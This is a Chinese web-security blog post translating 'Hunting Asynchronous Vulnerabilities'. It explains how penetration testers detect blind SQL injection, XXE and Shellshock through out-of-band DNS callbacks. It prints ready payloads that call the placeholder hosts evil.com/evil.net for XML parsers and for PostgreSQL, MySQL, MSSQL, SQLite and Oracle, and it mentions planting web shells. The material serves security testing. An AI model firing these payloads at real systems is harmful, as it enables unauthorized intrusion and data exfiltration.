安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > WEB安全 > 黑盒测试中那些"看不见的"漏洞

黑盒测试中那些"看不见的"漏洞

时间:2015-09-16来源:WOOYUN 作者:小饼仔点击:
原文 Hunting Asynchronous Vulnerabilities 简单翻译下大致意思 在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如 - 是否触发错误消息 - 响应内容是否不同 - 是否有时间延迟 但有一些漏洞触发后并不会造成响应不同,

原文Hunting Asynchronous Vulnerabilities 

简单翻译下大致意思  //ANYUN.ORG

在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如 

- 是否触发错误消息  //内容来自AnYun.ORG

- 响应内容是否不同 

- 是否有时间延迟 

//ANYUN.ORG



但有一些漏洞触发后并不会造成响应不同,或者不会立刻执行,比如二次SQL注入、命令注入但只会在夜间crontab执行等,导致我们无法通过一般的手段来判断是否存在漏洞。 
//内容来自安云网
这类“看不见的”漏洞大致可以分为三类: 

- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询,你不知道这个注入查询什么时候会被执行,也许payload会触发时间延迟,但是这个延迟仅影响后台线程,无法在前台被检测到。 

//内容来自AnYun.ORG



- Blind漏洞,需要二次事件来触发。比如Blind XSS、二次SQL注入 

- 不会造成响应不同的漏洞,并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入  //内容来自安云网

为了能够检测到此类漏洞,我们需要一个能够促发callback的payload,callback能够从有漏洞的应用向攻击者控制的机器上发起连接,比如Shellshock的例子 

() { :;}; echo 1 > /dev/udp/evil.com/53
//内容来自AnYun.ORG


如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包。 

通过触发callback的方法,我们不需要依赖应用的输出就可以来判断漏洞是否存在。 
//copyright AnYun.ORG


因为DNS查询几乎不会被防火墙拦截,因此非常适合作为触发callback。 

Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看  //本文来自安云网

下面介绍一些不同漏洞类型下的DNS callback 

XML漏洞  //安云网咨询系统

下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url) 

<?xml version="1.0" encoding="utf-8"?>  //安云网,anyun.org
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> 
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ 
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> 
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> 
  %remote; 
]> 
<root> 
  <foo>&xxe;</foo> 
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include 
    href="http://xi.evil.net/" ></x>  //本文来自安云网
  <y xmlns=http://a.b/ 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://a.b/ 
    http://schemalocation.evil.net/a.xsd">a</y> 
</root>


最后两个payload,利用了XInclude 和 schemaLocation,因为不需要完全控制XML文档,因此特别有效

//内容来自安云网



SQL注入 

//ANYUN.ORG


Postgresql 

利用copy 命令,可以调用任意的shell命令(需要一定权限)  //安云网咨询系统

copy (select '') to program 'nslookup evil.net'
//copyright AnYun.ORG
如果用ping命令在linux下会阻塞执行的线程,因此这里用nslookup 

MySQL 和 SQLite3 

//内容来自安云网



Windows下,大多数文件系统函数都支持UNC path,UNC path能够引用远程server的资源,因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback 
//内容来自安云网


SQLite3 

;attach database '//evil.net/z' as 'z'-- -  //ANYUN.ORG

(SELECT load_extension('//foo'))


第一种需要支持batched query,第二种需要启用load_extension 函数 
//安云网,anyun.org

MySQL 
LOAD_FILE('\\\\evil.net\\foo')   
//内容来自安云网

SELECT … INTO OUTFILE '\\\\evil.net\foo'


MSSQL 
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a',   'select 1 from dual') //ANYUN.ORG
(需要 'ad hoc distributed queries') 

EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
//内容来自安云网

(需要 sysadmin 权限) 

BULK INSERT mytable FROM '\\\\evil.net$file' //本文来自安云网
(需要 bulk insert privileges) 

EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo' //本文来自安云网
(最理想的 – 需要 sysadmin 权限 ,DNS 查询后会检查权限) 

Oracle SQL 

//安云网咨询系统



Oracle提供很多方法来触发callback,如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…,但是都需要各种权限。 

但是可以利用内置的XML解析函数,低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞,因此我们可以利用XXE来触发callback  //本文来自安云网

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

//ANYUN.ORG


Write-based callbacks 

因为非WINDOWS系统不支持UNC paths,我们可以利用写文件函数来触发callback  //安云网,anyun.org

最直接的方式就是写一个web shell,前提是需要知道webroot路径 

修改mailspools / maildrops,控制邮件发送,这个需要root权限,没什么用 

//ANYUN.ORG



利用mysql函数来修改配置文件,将修改 bind-address成我们的hostname,然后在dns响应返回0.0.0.0,让mysql绑定所以可用接口 

shell命令注入和 XSS部分大家参考下原文 //内容来自安云网

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容